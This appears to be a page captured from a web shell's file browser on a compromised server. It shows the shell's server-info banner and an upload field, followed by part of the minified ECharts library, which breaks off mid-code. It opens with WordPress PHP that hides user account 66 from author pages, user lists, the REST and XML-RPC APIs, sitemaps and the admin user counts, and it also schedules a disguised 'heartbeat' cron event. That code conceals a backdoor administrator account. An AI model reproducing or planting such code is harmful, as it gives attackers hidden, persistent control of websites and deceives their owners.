add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/node_modules/echarts/dist/ |
Upload File : |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).echarts={})}(this,function(t){"use strict";
/*! *****************************************************************************
Copyright (c) Microsoft Corporation.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])},e(t,n)};function n(t,n){if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");function r(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}var r=function(){this.firefox=!1,this.ie=!1,this.edge=!1,this.newEdge=!1,this.weChat=!1},i=new function(){this.browser=new r,this.node=!1,this.wxa=!1,this.worker=!1,this.svgSupported=!1,this.touchEventsSupported=!1,this.pointerEventsSupported=!1,this.domSupported=!1,this.transformSupported=!1,this.transform3dSupported=!1,this.hasGlobalWindow="undefined"!=typeof window};"object"==typeof wx&&"function"==typeof wx.getSystemInfoSync?(i.wxa=!0,i.touchEventsSupported=!0):"undefined"==typeof document&&"undefined"!=typeof self?i.worker=!0:!i.hasGlobalWindow||"Deno"in window||"undefined"!=typeof navigator&&"string"==typeof navigator.userAgent&&navigator.userAgent.indexOf("Node.js")>-1?(i.node=!0,i.svgSupported=!0):function(t,e){var n=e.browser,r=t.match(/Firefox\/([\d.]+)/),i=t.match(/MSIE\s([\d.]+)/)||t.match(/Trident\/.+?rv:(([\d.]+))/),o=t.match(/Edge?\/([\d.]+)/),a=/micromessenger/i.test(t);r&&(n.firefox=!0,n.version=r[1]);i&&(n.ie=!0,n.version=i[1]);o&&(n.edge=!0,n.version=o[1],n.newEdge=+o[1].split(".")[0]>18);a&&(n.weChat=!0);e.svgSupported="undefined"!=typeof SVGRect,e.touchEventsSupported="ontouchstart"in window&&!n.ie&&!n.edge,e.pointerEventsSupported="onpointerdown"in window&&(n.edge||n.ie&&+n.version>=11);var s=e.domSupported="undefined"!=typeof document;if(s){var l=document.documentElement.style;e.transform3dSupported=(n.ie&&"transition"in l||n.edge||"WebKitCSSMatrix"in window&&"m11"in new WebKitCSSMatrix||"MozPerspective"in l)&&!("OTransition"in l),e.transformSupported=e.transform3dSupported||n.ie&&+n.version>=9}}(navigator.userAgent,i);var o="12px sans-serif";var a,s,l=function(t){var e={};if("undefined"==typeof JSON)return e;for(var n=0;n<t.length;n++){var r=String.fromCharCode(n+32),i=(t.charCodeAt(n)-20)/100;e[r]=i}return e}("007LLmW'55;N0500LLLLLLLLLL00NNNLzWW\\\\WQb\\0FWLg\\bWb\\WQ\\WrWWQ000CL5LLFLL0LL**F*gLLLL5F0LF\\FFF5.5N"),u={createCanvas:function(){return"undefined"!=typeof document&&document.createElement("canvas")},measureText:function(t,e){if(!a){var n=u.createCanvas();a=n&&n.getContext("2d")}if(a)return s!==e&&(s=a.font=e||o),a.measureText(t);t=t||"";var r=/((?:\d+)?\.?\d*)px/.exec(e=e||o),i=r&&+r[1]||12,c=0;if(e.indexOf("mono")>=0)c=i*t.length;else for(var h=0;h<t.length;h++){var f=l[t[h]];c+=null==f?i:f*i}return{width:c}},loadImage:function(t,e,n){var r=new Image;return r.onload=e,r.onerror=n,r.src=t,r},getTime:function(){return Date.now?Date.now():+new Date}};function c(t){for(var e in u)u.hasOwnProperty(e)&&t[e]&&(u[e]=t[e])}var h=z(["Function","RegExp","Date","Error","CanvasGradient","CanvasPattern","Image","Canvas"],function(t,e){return t["[object "+e+"]"]=!0,t},{}),f=z(["Int8","Uint8","Uint8Clamped","Int16","Uint16","Int32","Uint32","Float32","Float64"],function(t,e){return t["[object "+e+"Array]"]=!0,t},{}),p=Object.prototype.toString,d=Array.prototype,g=d.forEach,v=d.filter,y=d.slice,m=d.map,_=function(){}.constructor,x=_?_.prototype:null,b="__proto__",w=2311,S=Math.pow(2,53)-1;function M(){return w>=S&&(w=0),w++}function T(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];"undefined"!=typeof console&&console.error.apply(console,t)}function k(t){if(null==t||"object"!=typeof t)return t;var e=t,n=p.call(t);if("[object Array]"===n){if(!ft(t)){e=[];for(var r=0,i=t.length;r<i;r++)e[r]=k(t[r])}}else if(f[n]){if(!ft(t)){var o=t.constructor;if(o.from)e=o.from(t);else{e=new o(t.length);for(r=0,i=t.length;r<i;r++)e[r]=t[r]}}}else if(!h[n]&&!ft(t)&&!Q(t))for(var a in e={},t)t.hasOwnProperty(a)&&a!==b&&(e[a]=k(t[a]));return e}function C(t,e,n){if(!j(e)||!j(t))return n?k(e):t;for(var r in e)if(e.hasOwnProperty(r)&&r!==b){var i=t[r],o=e[r];!j(o)||!j(i)||U(o)||U(i)||Q(o)||Q(i)||K(o)||K(i)||ft(o)||ft(i)?!n&&r in t||(t[r]=k(e[r])):C(i,o,n)}return t}function I(t,e){if(Object.assign)Object.assign(t,e);else for(var n in e)e.hasOwnProperty(n)&&n!==b&&(t[n]=e[n]);return t}function D(t,e,n){t=t||{};for(var r=0;r<n.length;r++){var i=n[r];t[i]=e[i]}return t}function A(t,e,n){for(var r=H(e),i=0,o=r.length;i<o;i++){var a=r[i];(n?null!=e[a]:null==t[a])&&(t[a]=e[a])}return t}var L=u.createCanvas;function P(t,e){if(t){if(t.indexOf)return t.indexOf(e);for(var n=0,r=t.length;n<r;n++)if(t[n]===e)return n}return-1}function O(t,e){var n=t.prototype;function r(){}for(var i in r.prototype=e.prototype,t.prototype=new r,n)n.hasOwnProperty(i)&&(t.prototype[i]=n[i]);t.prototype.constructor=t,t.superClass=e}function R(t,e,n){if(t="prototype"in t?t.prototype:t,e="prototype"in e?e.prototype:e,Object.getOwnPropertyNames)for(var r=Object.getOwnPropertyNames(e),i=0;i<r.length;i++){var o=r[i];"constructor"!==o&&(n?null!=e[o]:null==t[o])&&(t[o]=e[o])}else A(t,e,n)}function N(t){return!!t&&("string"!=typeof t&&"number"==typeof t.length)}function E(t,e,n){if(t&&e)if(t.forEach&&t.forEach===g)t.forEach(e,n);else if(t.length===+t.length)for(var r=0,i=t.length;r<i;r++)e.call(n,t[r],r,t);else for(var o in t)t.hasOwnProperty(o)&&e.call(n,t[o],o,t)}function B(t,e,n){if(!t)return[];if(!e)return at(t);if(t.map&&t.map===m)return t.map(e,n);for(var r=[],i=0,o=t.length;i<o;i++)r.push(e.call(n,t[i],i,t));return r}function z(t,e,n,r){if(t&&e){for(var i=0,o=t.length;i<o;i++)n=e.call(r,n,t[i],i,t);return n}}function F(t,e,n){if(!t)return[];if(!e)return at(t);if(t.filter&&t.filter===v)return t.filter(e,n);for(var r=[],i=0,o=t.length;i<o;i++)e.call(n,t[i],i,t)&&r.push(t[i]);return r}function V(t,e,n){if(t&&e)for(var r=0,i=t.length;r<i;r++)if(e.call(n,t[r],r,t))return t[r]}function H(t){if(!t)return[];if(Object.keys)return Object.keys(t);var e=[];for(var n in t)t.hasOwnProperty(n)&&e.push(n);return e}var W=x&&X(x.bind)?x.call.bind(x.bind):function(t,e){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return function(){return t.apply(e,n.concat(y.call(arguments)))}};function G(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];return function(){return t.apply(this,e.concat(y.call(arguments)))}}function U(t){return Array.isArray?Array.isArray(t):"[object Array]"===p.call(t)}function X(t){return"function"==typeof t}function Y(t){return"string"==typeof t}function q(t){return"[object String]"===p.call(t)}function Z(t){return"number"==typeof t}function j(t){var e=typeof t;return"function"===e||!!t&&"object"===e}function K(t){return!!h[p.call(t)]}function $(t){return!!f[p.call(t)]}function Q(t){return"object"==typeof t&&"number"==typeof t.nodeType&&"object"==typeof t.ownerDocument}function J(t){return null!=t.colorStops}function tt(t){return null!=t.image}function et(t){return"[object RegExp]"===p.call(t)}function nt(t){return t!=t}function rt(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var n=0,r=t.length;n<r;n++)if(null!=t[n])return t[n]}function it(t,e){return null!=t?t:e}function ot(t,e,n){return null!=t?t:null!=e?e:n}function at(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];return y.apply(t,e)}function st(t){if("number"==typeof t)return[t,t,t,t];var e=t.length;return 2===e?[t[0],t[1],t[0],t[1]]:3===e?[t[0],t[1],t[2],t[1]]:t}function lt(t,e){if(!t)throw new Error(e)}function ut(t){return null==t?null:"function"==typeof t.trim?t.trim():t.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")}var ct="__ec_primitive__";function ht(t){t[ct]=!0}function ft(t){return t[ct]}var pt=function(){function t(){this.data={}}return t.prototype.delete=function(t){var e=this.has(t);return e&&delete this.data[t],e},t.prototype.has=function(t){return this.data.hasOwnProperty(t)},t.prototype.get=function(t){return this.data[t]},t.prototype.set=function(t,e){return this.data[t]=e,this},t.prototype.keys=function(){return H(this.data)},t.prototype.forEach=function(t){var e=this.data;for(var n in e)e.hasOwnProperty(n)&&t(e[n],n)},t}(),dt="function"==typeof Map;var gt=function(){function t(e){var n=U(e);this.data=dt?new Map:new pt;var r=this;function i(t,e){n?r.set(t,e):r.set(e,t)}e instanceof t?e.each(i):e&&E(e,i)}return t.prototype.hasKey=function(t){return this.data.has(t)},t.prototype.get=function(t){return this.data.get(t)},t.prototype.set=function(t,e){return this.data.set(t,e),e},t.prototype.each=function(t,e){this.data.forEach(function(n,r){t.call(e,n,r)})},t.prototype.keys=function(){var t=this.data.keys();return dt?Array.from(t):t},t.prototype.removeKey=function(t){this.data.delete(t)},t}();function vt(t){return new gt(t)}function yt(t,e){for(var n=new t.constructor(t.length+e.length),r=0;r<t.length;r++)n[r]=t[r];var i=t.length;for(r=0;r<e.length;r++)n[r+i]=e[r];return n}function mt(t,e){var n;if(Object.create)n=Object.create(t);else{var r=function(){};r.prototype=t,n=new r}return e&&I(n,e),n}function _t(t){var e=t.style;e.webkitUserSelect="none",e.userSelect="none",e.webkitTapHighlightColor="rgba(0,0,0,0)",e["-webkit-touch-callout"]="none"}function xt(t,e){return t.hasOwnProperty(e)}function bt(){}var wt=180/Math.PI,St=Number.EPSILON||Math.pow(2,-52),Mt=Object.freeze({__proto__:null,guid:M,logError:T,clone:k,merge:C,mergeAll:function(t,e){for(var n=t[0],r=1,i=t.length;r<i;r++)n=C(n,t[r],e);return n},extend:I,assignProps:D,defaults:A,createCanvas:L,indexOf:P,inherits:O,mixin:R,isArrayLike:N,each:E,map:B,reduce:z,filter:F,find:V,keys:H,bind:W,curry:G,isArray:U,isFunction:X,isString:Y,isStringSafe:q,isNumber:Z,isObject:j,isBuiltInObject:K,isTypedArray:$,isDom:Q,isGradientObject:J,isImagePatternObject:tt,isRegExp:et,eqNaN:nt,retrieve:rt,retrieve2:it,retrieve3:ot,slice:at,normalizeCssArray:st,assert:lt,trim:ut,setAsPrimitive:ht,isPrimitive:ft,HashMap:gt,createHashMap:vt,concatArray:yt,createObject:mt,disableUserSelect:_t,hasOwn:xt,noop:bt,RADIAN_TO_DEGREE:wt,EPSILON:St});function Tt(t,e){return null==t&&(t=0),null==e&&(e=0),[t,e]}function kt(t){return[t[0],t[1]]}function Ct(t,e,n){return t[0]=e,t[1]=n,t}function It(t,e,n){return t[0]=e[0]+n[0],t[1]=e[1]+n[1],t}function Dt(t,e,n){return t[0]=e[0]-n[0],t[1]=e[1]-n[1],t}function At(t){return Math.sqrt(Pt(t))}var Lt=At;function Pt(t){return t[0]*t[0]+t[1]*t[1]}var Ot=Pt;function Rt(t,e,n){return t[0]=e[0]*n,t[1]=e[1]*n,t}function Nt(t,e){var n=At(e);return 0===n?(t[0]=0,t[1]=0):(t[0]=e[0]/n,t[1]=e[1]/n),t}function Et(t,e){return Math.sqrt((t[0]-e[0])*(t[0]-e[0])+(t[1]-e[1])*(t[1]-e[1]))}var Bt=Et;function zt(t,e){return(t[0]-e[0])*(t[0]-e[0])+(t[1]-e[1])*(t[1]-e[1])}var Ft=zt;function Vt(t,e,n,r){return t[0]=e[0]+r*(n[0]-e[0]),t[1]=e[1]+r*(n[1]-e[1]),t}function Ht(t,e,n){var r=e[0],i=e[1];return t[0]=n[0]*r+n[2]*i+n[4],t[1]=n[1]*r+n[3]*i+n[5],t}function Wt(t,e,n){return t[0]=Math.min(e[0],n[0]),t[1]=Math.min(e[1],n[1]),t}function Gt(t,e,n){return t[0]=Math.max(e[0],n[0]),t[1]=Math.max(e[1],n[1]),t}var Ut=Object.freeze({__proto__:null,create:Tt,copy:function(t,e){return t[0]=e[0],t[1]=e[1],t},clone:kt,set:Ct,add:It,scaleAndAdd:function(t,e,n,r){return t[0]=e[0]+n[0]*r,t[1]=e[1]+n[1]*r,t},sub:Dt,len:At,length:Lt,lenSquare:Pt,lengthSquare:Ot,mul:function(t,e,n){return t[0]=e[0]*n[0],t[1]=e[1]*n[1],t},div:function(t,e,n){return t[0]=e[0]/n[0],t[1]=e[1]/n[1],t},dot:function(t,e){return t[0]*e[0]+t[1]*e[1]},scale:Rt,normalize:Nt,distance:Et,dist:Bt,distanceSquare:zt,distSquare:Ft,negate:function(t,e){return t[0]=-e[0],t[1]=-e[1],t},lerp:Vt,applyTransform:Ht,min:Wt,max:Gt}),Xt=function(t,e){this.target=t,this.topTarget=e&&e.topTarget},Yt=function(){function t(t){this.handler=t,t.on("mousedown",this._dragStart,this),t.on("mousemove",this._drag,this),t.on("mouseup",this._dragEnd,this)}return t.prototype._dragStart=function(t){for(var e=t.target;e&&!e.draggable;)e=e.parent||e.__hostTarget;e&&(this._draggingTarget=e,e.dragging=!0,this._x=t.offsetX,this._y=t.offsetY,this.handler.dispatchToElement(new Xt(e,t),"dragstart",t.event))},t.prototype._drag=function(t){var e=this._draggingTarget;if(e){var n=t.offsetX,r=t.offsetY,i=n-this._x,o=r-this._y;this._x=n,this._y=r,e.drift(i,o,t),this.handler.dispatchToElement(new Xt(e,t),"drag",t.event);var a=this.handler.findHover(n,r,e).target,s=this._dropTarget;this._dropTarget=a,e!==a&&(s&&a!==s&&this.handler.dispatchToElement(new Xt(s,t),"dragleave",t.event),a&&a!==s&&this.handler.dispatchToElement(new Xt(a,t),"dragenter",t.event))}},t.prototype._dragEnd=function(t){var e=this._draggingTarget;e&&(e.dragging=!1),this.handler.dispatchToElement(new Xt(e,t),"dragend",t.event),this._dropTarget&&this.handler.dispatchToElement(new Xt(this._dropTarget,t),"drop",t.event),this._draggingTarget=null,this._dropTarget=null},t}(),qt=function(){function t(t){t&&(this._$eventProcessor=t)}return t.prototype.on=function(t,e,n,r){this._$handlers||(this._$handlers={});var i=this._$handlers;if("function"==typeof e&&(r=n,n=e,e=null),!n||!t)return this;var o=this._$eventProcessor;null!=e&&o&&o.normalizeQuery&&(e=o.normalizeQuery(e)),i[t]||(i[t]=[]);for(var a=0;a<i[t].length;a++)if(i[t][a].h===n)return this;var s={h:n,query:e,ctx:r||this,callAtLast:n.zrEventfulCallAtLast},l=i[t].length-1,u=i[t][l];return u&&u.callAtLast?i[t].splice(l,0,s):i[t].push(s),this},t.prototype.isSilent=function(t){var e=this._$handlers;return!e||!e[t]||!e[t].length},t.prototype.off=function(t,e){var n=this._$handlers;if(!n)return this;if(!t)return this._$handlers={},this;if(e){if(n[t]){for(var r=[],i=0,o=n[t].length;i<o;i++)n[t][i].h!==e&&r.push(n[t][i]);n[t]=r}n[t]&&0===n[t].length&&delete n[t]}else delete n[t];return this},t.prototype.trigger=function(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(!this._$handlers)return this;var r=this._$handlers[t],i=this._$eventProcessor;if(r)for(var o=e.length,a=r.length,s=0;s<a;s++){var l=r[s];if(!i||!i.filter||null==l.query||i.filter(t,l.query))switch(o){case 0:l.h.call(l.ctx);break;case 1:l.h.call(l.ctx,e[0]);break;case 2:l.h.call(l.ctx,e[0],e[1]);break;default:l.h.apply(l.ctx,e)}}return i&&i.afterTrigger&&i.afterTrigger(t),this},t.prototype.triggerWithContext=function(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(!this._$handlers)return this;var r=this._$handlers[t],i=this._$eventProcessor;if(r)for(var o=e.length,a=e[o-1],s=r.length,l=0;l<s;l++){var u=r[l];if(!i||!i.filter||null==u.query||i.filter(t,u.query))switch(o){case 0:u.h.call(a);break;case 1:u.h.call(a,e[0]);break;case 2:u.h.call(a,e[0],e[1]);break;default:u.h.apply(a,e.slice(1,o-1))}}return i&&i.afterTrigger&&i.afterTrigger(t),this},t}(),Zt=Math.log(2);function jt(t,e,n,r,i,o){var a=r+"-"+i,s=t.length;if(o.hasOwnProperty(a))return o[a];if(1===e){var l=Math.round(Math.log((1<<s)-1&~i)/Zt);return t[n][l]}for(var u=r|1<<n,c=n+1;r&1<<c;)c++;for(var h=0,f=0,p=0;f<s;f++){var d=1<<f;d&i||(h+=(p%2?-1:1)*t[n][f]*jt(t,e-1,c,u,i|d,o),p++)}return o[a]=h,h}function Kt(t,e){var n=[[t[0],t[1],1,0,0,0,-e[0]*t[0],-e[0]*t[1]],[0,0,0,t[0],t[1],1,-e[1]*t[0],-e[1]*t[1]],[t[2],t[3],1,0,0,0,-e[2]*t[2],-e[2]*t[3]],[0,0,0,t[2],t[3],1,-e[3]*t[2],-e[3]*t[3]],[t[4],t[5],1,0,0,0,-e[4]*t[4],-e[4]*t[5]],[0,0,0,t[4],t[5],1,-e[5]*t[4],-e[5]*t[5]],[t[6],t[7],1,0,0,0,-e[6]*t[6],-e[6]*t[7]],[0,0,0,t[6],t[7],1,-e[7]*t[6],-e[7]*t[7]]],r={},i=jt(n,8,0,0,0,r);if(0!==i){for(var o=[],a=0;a<8;a++)for(var s=0;s<8;s++)null==o[s]&&(o[s]=0),o[s]+=((a+s)%2?-1:1)*jt(n,7,0===a?1:0,1<<a,1<<s,r)/i*e[a];return function(t,e,n){var r=e*o[6]+n*o[7]+1;t[0]=(e*o[0]+n*o[1]+o[2])/r,t[1]=(e*o[3]+n*o[4]+o[5])/r}}}var $t="___zrEVENTSAVED";function Qt(t,e,n,r,o){if(e.getBoundingClientRect&&i.domSupported&&!Jt(e)){var a=e[$t]||(e[$t]={}),s=function(t,e){var n=e.markers;if(n)return n;n=e.markers=[];for(var r=["left","right"],i=["top","bottom"],o=0;o<4;o++){var a=document.createElement("div"),s=o%2,l=(o>>1)%2;a.style.cssText=["position: absolute","visibility: hidden","padding: 0","margin: 0","border-width: 0","user-select: none","width:0","height:0",r[s]+":0",i[l]+":0",r[1-s]+":auto",i[1-l]+":auto",""].join("!important;"),t.appendChild(a),n.push(a)}return e.clearMarkers=function(){E(n,function(t){t.parentNode&&t.parentNode.removeChild(t)})},n}(e,a),l=function(t,e,n){for(var r=n?"invTrans":"trans",i=e[r],o=e.srcCoords,a=[],s=[],l=!0,u=0;u<4;u++){var c=t[u].getBoundingClientRect(),h=2*u,f=c.left,p=c.top;a.push(f,p),l=l&&o&&f===o[h]&&p===o[h+1],s.push(t[u].offsetLeft,t[u].offsetTop)}return l&&i?i:(e.srcCoords=a,e[r]=n?Kt(s,a):Kt(a,s))}(s,a,o);if(l)return l(t,n,r),!0}return!1}function Jt(t){return"CANVAS"===t.nodeName.toUpperCase()}var te=/([&<>"'])/g,ee={"&":"&","<":"<",">":">",'"':""","'":"'"};function ne(t){return null==t?"":(t+"").replace(te,function(t,e){return ee[e]})}var re=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ie=[],oe=i.browser.firefox&&+i.browser.version.split(".")[0]<39;function ae(t,e,n,r){return n=n||{},r?se(t,e,n):oe&&null!=e.layerX&&e.layerX!==e.offsetX?(n.zrX=e.layerX,n.zrY=e.layerY):null!=e.offsetX?(n.zrX=e.offsetX,n.zrY=e.offsetY):se(t,e,n),n}function se(t,e,n){if(i.domSupported&&t.getBoundingClientRect){var r=e.clientX,o=e.clientY;if(Jt(t)){var a=t.getBoundingClientRect();return n.zrX=r-a.left,void(n.zrY=o-a.top)}if(Qt(ie,t,r,o))return n.zrX=ie[0],void(n.zrY=ie[1])}n.zrX=n.zrY=0}function le(t){return t||window.event}function ue(t,e,n){if(null!=(e=le(e)).zrX)return e;var r=e.type;if(r&&r.indexOf("touch")>=0){var i="touchend"!==r?e.targetTouches[0]:e.changedTouches[0];i&&ae(t,i,e,n)}else{ae(t,e,e,n);var o=function(t){var e=t.wheelDelta;if(e)return e;var n=t.deltaX,r=t.deltaY;if(null==n||null==r)return e;return 3*(0!==r?Math.abs(r):Math.abs(n))*(r>0?-1:r<0?1:n>0?-1:1)}(e);e.zrDelta=o?o/120:-(e.detail||0)/3}var a=e.button;return null==e.which&&void 0!==a&&re.test(e.type)&&(e.which=1&a?1:2&a?3:4&a?2:0),e}function ce(t,e,n,r){t.removeEventListener(e,n,r)}var he=function(){function t(){this._track=[]}return t.prototype.recognize=function(t,e,n){return this._doTrack(t,e,n),this._recognize(t)},t.prototype.clear=function(){return this._track.length=0,this},t.prototype._doTrack=function(t,e,n){var r=t.touches;if(r){for(var i={points:[],touches:[],target:e,event:t},o=0,a=r.length;o<a;o++){var s=r[o],l=ae(n,s,{});i.points.push([l.zrX,l.zrY]),i.touches.push(s)}this._track.push(i)}},t.prototype._recognize=function(t){for(var e in pe)if(pe.hasOwnProperty(e)){var n=pe[e](this._track,t);if(n)return n}},t}();function fe(t){var e=t[1][0]-t[0][0],n=t[1][1]-t[0][1];return Math.sqrt(e*e+n*n)}var pe={pinch:function(t,e){var n=t.length;if(n){var r,i=(t[n-1]||{}).points,o=(t[n-2]||{}).points||i;if(o&&o.length>1&&i&&i.length>1){var a=fe(i)/fe(o);!isFinite(a)&&(a=1),e.pinchScale=a;var s=[((r=i)[0][0]+r[1][0])/2,(r[0][1]+r[1][1])/2];return e.pinchX=s[0],e.pinchY=s[1],{type:"pinch",target:t[0].target,event:e}}}}};function de(){return[1,0,0,1,0,0]}function ge(t){return t[0]=1,t[1]=0,t[2]=0,t[3]=1,t[4]=0,t[5]=0,t}function ve(t,e){return t[0]=e[0],t[1]=e[1],t[2]=e[2],t[3]=e[3],t[4]=e[4],t[5]=e[5],t}function ye(t,e,n){var r=e[0]*n[0]+e[2]*n[1],i=e[1]*n[0]+e[3]*n[1],o=e[0]*n[2]+e[2]*n[3],a=e[1]*n[2]+e[3]*n[3],s=e[0]*n[4]+e[2]*n[5]+e[4],l=e[1]*n[4]+e[3]*n[5]+e[5];return t[0]=r,t[1]=i,t[2]=o,t[3]=a,t[4]=s,t[5]=l,t}function me(t,e,n){return t[0]=e[0],t[1]=e[1],t[2]=e[2],t[3]=e[3],t[4]=e[4]+n[0],t[5]=e[5]+n[1],t}function _e(t,e,n,r){void 0===r&&(r=[0,0]);var i=e[0],o=e[2],a=e[4],s=e[1],l=e[3],u=e[5],c=Math.sin(n),h=Math.cos(n);return t[0]=i*h+s*c,t[1]=-i*c+s*h,t[2]=o*h+l*c,t[3]=-o*c+h*l,t[4]=h*(a-r[0])+c*(u-r[1])+r[0],t[5]=h*(u-r[1])-c*(a-r[0])+r[1],t}function xe(t,e,n){var r=n[0],i=n[1];return t[0]=e[0]*r,t[1]=e[1]*i,t[2]=e[2]*r,t[3]=e[3]*i,t[4]=e[4]*r,t[5]=e[5]*i,t}function be(t,e){var n=e[0],r=e[2],i=e[4],o=e[1],a=e[3],s=e[5],l=n*a-o*r;return l?(l=1/l,t[0]=a*l,t[1]=-o*l,t[2]=-r*l,t[3]=n*l,t[4]=(r*s-a*i)*l,t[5]=(o*i-n*s)*l,t):null}var we=Object.freeze({__proto__:null,create:de,identity:ge,copy:ve,mul:ye,translate:me,rotate:_e,scale:xe,invert:be,clone:function(t){var e=[1,0,0,1,0,0];return ve(e,t),e}}),Se=function(){function t(t,e){this.x=t||0,this.y=e||0}return t.prototype.copy=function(t){return this.x=t.x,this.y=t.y,this},t.prototype.clone=function(){return new t(this.x,this.y)},t.prototype.set=function(t,e){return this.x=t,this.y=e,this},t.prototype.equal=function(t){return t.x===this.x&&t.y===this.y},t.prototype.add=function(t){return this.x+=t.x,this.y+=t.y,this},t.prototype.scale=function(t){this.x*=t,this.y*=t},t.prototype.scaleAndAdd=function(t,e){this.x+=t.x*e,this.y+=t.y*e},t.prototype.sub=function(t){return this.x-=t.x,this.y-=t.y,this},t.prototype.dot=function(t){return this.x*t.x+this.y*t.y},t.prototype.len=function(){return Math.sqrt(this.x*this.x+this.y*this.y)},t.prototype.lenSquare=function(){return this.x*this.x+this.y*this.y},t.prototype.normalize=function(){var t=this.len();return this.x/=t,this.y/=t,this},t.prototype.distance=function(t){var e=this.x-t.x,n=this.y-t.y;return Math.sqrt(e*e+n*n)},t.prototype.distanceSquare=function(t){var e=this.x-t.x,n=this.y-t.y;return e*e+n*n},t.prototype.negate=function(){return this.x=-this.x,this.y=-this.y,this},t.prototype.transform=function(t){if(t){var e=this.x,n=this.y;return this.x=t[0]*e+t[2]*n+t[4],this.y=t[1]*e+t[3]*n+t[5],this}},t.prototype.toArray=function(t){return 